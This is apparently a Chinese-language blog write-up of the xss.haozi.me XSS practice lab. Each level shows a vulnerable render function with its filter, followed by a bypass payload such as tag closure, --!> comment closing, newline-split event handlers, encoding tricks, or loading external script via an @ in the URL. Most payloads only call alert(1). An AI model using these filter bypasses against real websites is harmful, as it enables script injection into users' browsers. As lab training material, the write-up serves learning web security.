xss.haozi.me靶机XSS练习心得

  1.  //server code
    function render (input) {
    return '<div>' + input + '</div>'
    }

    第一题测试js的语法,js都是利用<script>标签的,poc:<script>alert(1)</script>

  2.  function render (input) {
    return '<textarea>' + input + '</textarea>'
    }

    第二题测试的是textarea标签,这个标签内,所有的脚本语言都是字符串,无法被调用执行,所以使用他的闭合标签进行闭合,然后再闭合后输入js代码: </textarea><script>alert(1)</script>

  3.  function render (input) {
    return '<input type="name" value="' + input + '">'
    }

    考察es6语法中 符号进行字符串拼接,以及html标签事件属性 poc" onmouseover="alert`1``

  4.  function render (input) {
    const stripBracketsRe = /[()]/g
    input = input.replace(stripBracketsRe, '')
    return input
    }

    考察正则语法,替换了会把圆括号替换为空

    <input><img src="https://www.baidu.com/" onerror=alert(1)></input>
    <body onpageshow=alert(1)>
    <input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
    <input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
  5.  function render (input) {
    const stripBracketsRe = /[()`]/g
    input = input.replace(stripBracketsRe, '')
    return input
    }

    正则替换规则多了一个`,考虑使用实体符号进行绕过,也可以考虑svg标签,body标签

    <input><img src="https://www.baidu.com/" onerror=alert(1);></input>

  6.  function render (input) {
    input = input.replace(/-->/g, '')
    return '<!-- ' + input + ' -->'
    }

    正则替换了-->,这个是html的注释符,注释符有2中写法,分别是

    一种是<!-- 注释的内容 --> 另一种是<!-- 注释的内容 --!> 所以我们用第二种注释去提前闭合

    poc: --!><script>alert(1)</script>

  7.  function render (input) {
    input = input.replace(/auto|on.*=|>/ig, '_')
    return `<input value=1 ${input} type="text">`
    }

    此处正则替换的是auto,on.*=和>字符,忽略大小写 auto替换无法使用auto开头的事件属性,on开头的事件属性也无法使用

    另外利用html语言只要关键字和语法正确,不受空格和换行符影响的特性

    poc:

    type="image" src="xxx" onerror
    =alert(1)
  8.  function render (input) {
    const stripTagsRe = /<\/?[^>]+>/gi
    input = input.replace(stripTagsRe, '')
    return `<article>${input}</article>`
    }

    此处正则替换的是<开头 以>结尾的中间是非">"得多个字符串

    这里还是利用html语言特性最后一行的标签的闭合标签可以不写">"

    poc: <article><img src=1 onerror="alert(1)"</article>

  9.  function render (src) {
    src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
    return `
    <style>
    ${src}
    </style>
    `
    }

    这题中的html中已经有了一个<style>标签,根据第7题的规则,我们可以用</style\r\n>进行闭合绕过

    poc:

    </style
    ><script>alert(1)</script>
  10. function render (input) {
    let domainRe = /^https?:\/\/www\.segmentfault\.com/
    if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
    }
    return 'Invalid URL'
    }

    正则中字符串中必须要有https?://www.segmentfault.com/ 意味着payload必须要写在后头,所以用/script>进行闭合

    poc:https://www.segmentfault.com/script> <img src="xxx" onerror="alert(1)"

    因为语法正确,回车 空格都可以,所以poc里也可以任意添加空格和回车

  11. function render (input) {
    function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
    .replace(/'/g, ''')
    .replace(/"/g, '&quot;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/\//g, '&#x2f')
    }
    const domainRe = /^https?:\/\/www\.segmentfault\.com/
    if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
    }
    return 'Invalid URL'
    }
    • 这题正则中会替换& ` " < > /为实体符号,意味着我们写入实体符号,其中的&字符就会被替换,导致无法正常解析,并且和上一题一样必须开头字符串必须是 https?://www.segmentfault.com/

    • 先介绍一个url语法中@字符作用,可以用来隔断域名,前后2个域名会忽略前面那个.注意一个细节2个域名的协议必须是一致的,必须都是http或者https

    • 我们可以自己部署一个域名带上js, js中写上弹窗进行访问即可

      poc: https?://www.segmentfault.com/@www.xxx.com/test.js

  12. function render (input) {
    input = input.toUpperCase()
    return `<h1>${input}</h1>`
    }
  • 题中进行了转换成大写操作,html中标签和属性名不区分大小写,但是path部分区分大小写,比如<IMG SRC="1" ONERROR=alert(2)>

    等号后面的就是path内容

  • 这题可以尝试第10题用script标签的src添加外部js链接

  • 也可以用poc: <img src="x" onerror=alert(1)> 这个poc原理是js进行解析前会先对unicode进行解码,html中的Unicode格式为 &#编码的十进制数值,一般的格式还有直接\u开头的16进制四位编码,一定是四位

  1. function render (input) {
    input = input.replace(/script/ig, '')
    input = input.toUpperCase()
    return '<h1>' + input + '</h1>'
    }
  • 和12题相比多了个script的过滤,我们可以双写+unicode编码绕过

    poc: <scscriptript src="33" onerror = alert(1)></scscriptript>

xss.haozi.me靶机XSS练习心得的更多相关文章

  1. xss.haozi靶机

    X00 <script>alert(1)</script> X01 </textarea><script>alert(1)</script> ...

  2. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  3. [80Sec]深掘XSS漏洞场景之XSS Rootkit

    顶80SEC的牛. 深掘XSS漏洞场景之XSS Rootkit[完整修订版] EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011 ...

  4. Java Web使用过滤器防止Xss攻击,解决Xss漏洞

    转: Java Web使用过滤器防止Xss攻击,解决Xss漏洞 2018年11月11日 10:41:27 我欲乘风,直上九天 阅读数:2687   版权声明:本文为博主原创文章,转载请注明出处!有时候 ...

  5. xss构造--如何使用xss语句

    XSS的构造 1.利用[<>]构造html/js 如[<script>alert(/xss/)</script>] 2.伪协议 使用javascript:伪协议来构 ...

  6. 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击

    就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...

  7. XSS第二节,XSS左邻右舍

    昨天的文章中引用了OWASP2013年的江湖排名,今天来看一下TOP中XSS的左邻右舍都是谁,先看一下他们的大名,再进一步介绍 [以下主要翻译自https://www.owasp.org/index. ...

  8. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  10. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. java中overload与override的区别

    1.综述 重写(Override)也称覆盖,它是父类与子类之间多态性的一种表现,而重载(Overload)是一个类中多态性的一种表现. override从字面就可以知道,它是覆盖了一个方法并且对其重写 ...

  2. JavaScript项目榜单

    JavaScript项目榜单 参考资料 2022年最受欢迎的JavaScript项目榜单出炉 Best of JS 正式公布 2022 年 JavaScript 明星项目榜单 该榜单提供了过去 12 ...

  3. allure+testng遇到的一些问题

    java+testng+allure 听说allure报告,"很好看",决定引入. 首先看allure官网,需要在pom.xml中引入包 文档:https://docs.qamet ...

  4. 慢sql_查询条件加了函数导致索引失效

    问题背景:生产环境查询很慢,通过skywaking全链路监控发现/get请求相关的一个sql为慢sql,慢的原因在于查询字段使用了加解密函数(  CONVERT(AES_DECRYPT(UNHEX(` ...

  5. git prior sync failed; rebase still in progress

    方案一: 将这个git直接删掉,rm common/ -rf 然后再回到项目根目录repo sync 方案二: git rebase --abort

  6. docker部署opengauss

    下载二进制包到/opt/software/ wget https://opengauss.obs.cn-south-1.myhuaweicloud.com/1.1.0/x86/openGauss-1. ...

  7. TM1621断码液晶驱动IC的原理、驱动代码

    TM1621是一个多功能的LCD驱动器,带有蜂鸣器驱动功能.通讯采用四线串行接口 TM1621的难点在于字节序和显存跟屏幕的映射关系上,下面是写寄存器的代码 void Delay_us(uint8_t ...

  8. vue创建模板

    文件-->首选项-->用户代码片段-->点击新建代码片段--取名vue.json 确定 { "生成vue 模板": { "prefix": & ...

  9. 小白之Python-基础中的基础05

    Python-基础中的基础05 --之元组 #元组:不可变更1. 创建元组:元组必须用,表示,只加()是不行的 print 42 print (42) print 43, #这个地方会把下一行的内容打 ...

  10. 1、app自动化的底层逻辑,adb及monkey和稳定性测试

    app自动化的过程中,底层逻辑是计算机通过adb与移动设备进行沟通,告诉移动设备,进行什么操作: 一.概念: Andriod调试桥(adb),是一种命令行工具,可以让我们与设备进行通讯. 二.adb安 ...